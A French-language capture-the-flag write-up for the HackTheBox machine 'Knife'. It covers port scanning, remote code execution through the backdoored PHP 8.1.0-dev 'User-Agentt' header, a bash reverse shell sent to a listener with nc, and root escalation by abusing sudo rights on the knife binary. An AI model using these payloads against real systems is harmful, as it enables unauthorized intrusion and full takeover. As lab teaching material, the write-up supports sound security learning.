Knife HackTheBox (Writeup)

Hack The Boxapp.hackthebox.com

Skills:

• PHP 8.1.0-dev - 'User-Agent' Remote Code Execution [RCE]

• Abusing Sudoers Privilege (Knife Binary) [Privilege Escalation]

Reconnaissance

Création de l'espace de travail :

Nous établirons notre espace de travail en créant trois dossiers pour stocker les contenus importants, les exploits et les résultats de la reconnaissance à l'aide de Nmap.

Vérification de la Connectivité VPN

Vérification de la connexion VPN pour assurer une communication stable avec la machine cible.

Recherche des ports ouverts avec Nmap :

Exploration des ports ouverts et exportation dans le fichier "allPorts" dans le répertoire Nmap:

nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts

Analyse des ports ouverts avec extractPorts:

Utilisation de la fonction extractPorts pour afficher de manière synthétique les ports ouverts et les copier dans le clipboard (22,80)

Scan de la version des ports avec Nmap:

Utilisation de Nmap pour scanner la version des ports et extraction des informations dans le fichier "targeted" :

nmap -sCV 10.10.10.242 -oN targeted

Port 80 - HTTP

Avec l'outil WhatWeb, on identifie une version vulnérable de PHP :

whatweb http://10.10.10.242
# Résultat : PHP 8.1.0-dev

Exploitation - RCE via User-Agent

on trouve une vulnerabilite associe au user-agent de php de cette version

PHP 8.1.0-dev - 'User-Agentt' Remote Code ExecutionExploit Database

Une vulnérabilité dans User-Agent permet d'exécuter du code à distance.

1. Exécution de commande simple Envoyez une requête HTTP avec un User-Agent modifié :

curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"

Résultat : Le groupe utilisateur james apparaît dans la réponse.

1. Obtention d'un reverse shell Configurer un listener sur votre machine :

nc -nvlp 443

Puis envoyer la commande pour exécuter un reverse shell :

curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/10.10.14.26/443 0>&1\"');"

1. Amélioration de l'expérience dans le shell Rendre le terminal plus interactif :

script /dev/null -c bash
#contrôle Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184

Flag User.txt

Élévation de privilèges

Analyse des permissions Sudo

En exécutant sudo -l, on observe que l'utilisateur peut exécuter le binaire knife en tant que root :

Ce binaire est référencé sur GTFOBins comme permettant une élévation de privilèges.

knife | GTFOBinsgtfobins.github.io

Exploitation

Utilisez la commande ci-dessus pour obtenir un shell root.

sudo /usr/bin/knife exec -E 'exec "/bin/sh"'

Flag root.txt :)